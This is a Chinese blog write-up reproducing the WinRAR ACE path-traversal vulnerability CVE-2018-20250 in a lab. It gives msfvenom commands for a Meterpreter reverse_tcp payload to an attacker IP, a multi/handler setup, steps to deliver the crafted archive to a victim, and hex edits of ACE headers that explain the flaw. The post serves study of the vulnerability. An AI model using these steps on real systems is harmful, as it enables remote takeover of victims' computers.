• CVE-2018-20250 winrar


    爆出来时候想着复现一下,拖到现在已经快一个月了(っ °Д °;)っ,正好在网上看见了有虚拟机直接可以复现学习一波。以下复制粘贴~

    漏洞背景

          2019 年 2 月 20 日 Check Point团队爆出了一个关于WinRAR存在19年的漏洞,用它来可以获得受害者计算机的控制。攻击者只需利用此漏洞构造恶意的压缩文件,当受害者使用WinRAR解压该恶意文件时便会触发漏洞。

          WinRAR 代码执行相关的 CVE 编号如下:

          CVE-2018-20250, CVE-2018-20251, CVE-2018-20252,CVE-2018-20253

          该漏洞是由于 WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的,该动态链接库在 2006 年被编译,没有任何的基础保护机制(ASLR, DEP 等)。该动态链接库的作用是处理 ACE 格式文件。在对解压目标的相对路径进行解析时,CleanPath函数过滤不严导致目录穿越漏洞,允许解压过程写入文件至开机启动项,导致代码执行。

    漏洞利用条件:

          攻击不能跨盘符,即受害者进行解压文件触发漏洞时,必须在系统盘,且在不知道计算机主机名的情况下,只能在主浏览器的默认下载路径下或者桌面进行解压。

          WinAce:一款来自德国的绝对强悍的压缩和解压缩程序,功能及支持格式相当齐全,功能方面包括压缩与解压缩之外、还有分片压缩、加密功能、支持鼠标右键快显功能,建立自动解压缩等,支持的格式更丰富包括程序本身的ACE及ZIP、RAR、LZH、ARJ、TAR、CAB、LHA、GZIP等,几乎常用的程序都支持,另 WinACE可预设压缩及解压缩路径、编辑程序、扫毒程序等。


          在漏洞公开后两天内,网络上便有了相关的exp。

          公开的exp地址:

          url:https://github.com/WyAtu/CVE-2018-20250

          利用网上提供的exp,使用计算器弹出程序,模拟恶意软件,进行漏洞的验证。若存在漏洞,目标主机重启之后会弹出计算器。


    实验环境

      攻击机:KALI Linux IP:10.1.1.100

      目标机:Windows10_64(安装Winrar、WinAce、HxD或者其他二进制编辑器)


    复现:

    1. 安装WinRAR之后使用EXP.py脚本 自动创建test.rar 测试压缩包
    2. 运行acefile.py检查文件结构(此步非必须,对攻击无影响)   
    3. 将测试文件移动到桌面(由于此漏洞的条件限制,攻击行为不能跨盘符,所以需要将文件移动到桌面或者是火狐、chrom、IE等浏览器的默认下载路径,又或是你已经知道目标主机的主机名,但是解压仍然是需要在目标的系统盘中进行)
    4. 打开电脑的启动文件夹:(Win+R或开始菜单鼠标右键->运行 shell:startup )                                                                                                                                                                         此时文件夹为空:   
    5. 开始解压测试文件
    6. 解压完之后会看到启动目录下多出来一个“hi.exe” 
    7.  重启电脑,弹窗成功:(CMD里运行重启命令shutdown -r -t 0,重启后需要刷新一下浏览器重新进入实验机)

    利用:

            配合msf进行漏洞利用。

             我们要使用msfvenom生成一个远程控制程序,然后利用exp将这个程序写进压缩包,发送给目标主机,目标主机在不知情的情况下解压文件,就会感染恶意程序,然后在目标主机重启之后,恶意程序会自启动,我们使用kali就可以远程连接。

      1.   启动postgresql数据库  service postgresql start

      2.   使用msfvenom生成一个远程控制程序,首先筛选出我们可用的payload,如图便是我们全部可用的payload(目标主机为64位win10):

          msfvenom -l | grep x64 | grep windows | grep tcp                                     

           

      

      3.查看本机的IP地址(攻击机):                                                                                  

           

      4.生成远程控制程序,我们使用的payload是“windows/x64/meterpreter/reverse_tcp”,lhost的值为攻击机的主机地址:

          msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.1.1.100 lport=1234 -f exe -o /root/muma.exe

      5.在kali中下载exp并解压:unzip CVE-2018-20250.zip

      6.将我们生成的muma.exe移动到exp的文件夹下并修改代码:                

           

      7.   运行exp生成包含恶意文件的压缩包,当我们直接运行exp时,会出现错误,这是因为代码中python的调用方式只适合在windows中使用,要在linux中使用,我们需要将原来的“py -3”更改为“python3”

            

        8.   我们用python开启一个简单的http服务: python -m SimpleHTTPServer

      9.   然后使用目标机将文件“test.rar”下载下来,并将其移动到桌面。

      

      10.我们再切换到kali中,打开msfconsole,进行如下设置:

            use exploit/multi/handler

            set payload windows/x64/meterpreter/reverse_tcp

            set lhost 10.1.1.100

            set lport 1234

       

       11. 在windows中使用winrar解压test.rar(在桌面解压),会发现启动目录下多出了hi.exe

      12  我们重启windows:shutdown -r -t 10

      13. 此时再查看kali,已经可以远程控制了:

      

    我们尝试关闭目标主机:shutdown -r -t 60       切换到目标主机会有如下提示,可见命令执行成功:

        

         

       执行其他命令,也会有返回信息:

          

      


    漏洞的原理分析(ACE文件分析):

          了解ACE文件,使用WinAce创建一个ACE文件,我们这里使用test.txt文件(自己创建,内容随意),生成的文件名为test.ace:

    1.   安装好WinAce之后,打开WinAce,点击“return to WinAce”

          

     

          选择“create”,便可以开始选择想要压缩的文件

          

          

          

     

     

     

          使用二进制编辑器HxD查看ACE文件格式:

          

     

          如上图中,

          红色框内为:hdr_crc的值:0x8E24

          橙色框内为:filename:即文件的名字,包括其路径。

          绿色框内为:文件的内容。

          橙色框之前的“1F00”为filename的长度,取值“0x001F”,十进制为31

          

     

          如图选中的内容为:广告

          后面的红色框中的内容也是hdr_crc

          绿色框中的为hdr_size,代表头部大小

          我们开始修改其内容,假设我们要达到的效果是解压后将其自动解压到启动项里。

    2.   首先,复制启动项的目录:

          

     

          稍作修改:

          

     

    3.   粘贴到ACE文件中

          

     

    4.   修改filename的长度

          

     

    5.   修改hdr_size:

          

     

    6.   使用acefile.py解析ace文件,可以看到报错,需要我们修改hdr_crc,并告诉了我们正确的hdr_crc

          

          

     

     

    7.   再次解析之后,成功解析:

          

     

    8.   将test.ace文件移动到桌面,右键点击使用winrar解压到当前文件夹。

    9.   之后在桌面上并没有发现解压的文件,打开启动目录,会发现文件被解压到启动目录下:

          

     

    10.  至此我们便可以知道此漏洞利用的原理,因为winrar在解析ACE文件的时候,会根据文件的路径来进行解压,所以根据这一点来构造路径,从而触发目录穿越将恶意文件解压到启动文件夹内。

     

    参考文章:

    https://ti.360.net/advisory/articles/360ti-sv-2019-0009-winrar-rce/

    https://www.anquanke.com/post/id/171403

    https://research.checkpoint.com/extracting-code-execution-from-winrar/

    https://www.360zhijia.com/360dongtai/444936.html

    http://www.hetianlab.com/expc.do?ec=ECIDa553-501d-4d4e-97dd-70eec3752240

  • 相关阅读:
    测试
    微商就该这么加粉丝,你造吗?
    下拉刷新ListView实现原理
    android studio出现 waiting for adb
    发现一个很好的android开发笔记库
    android studio 不能在线更新android SDK Manager问题解决办法
    asp.net中XmlDocument解析出现出错,处理特殊字符
    假如是你,你会怎么选择
    winrt 上的翻书特效组件 源码分享 转载请说明
    在Windows8 Winrt中 高性能处理多个条件语句 用于实现自定义手势
  • 原文地址:https://www.cnblogs.com/threesoil/p/10534280.html
Copyright © 2020-2023  润新知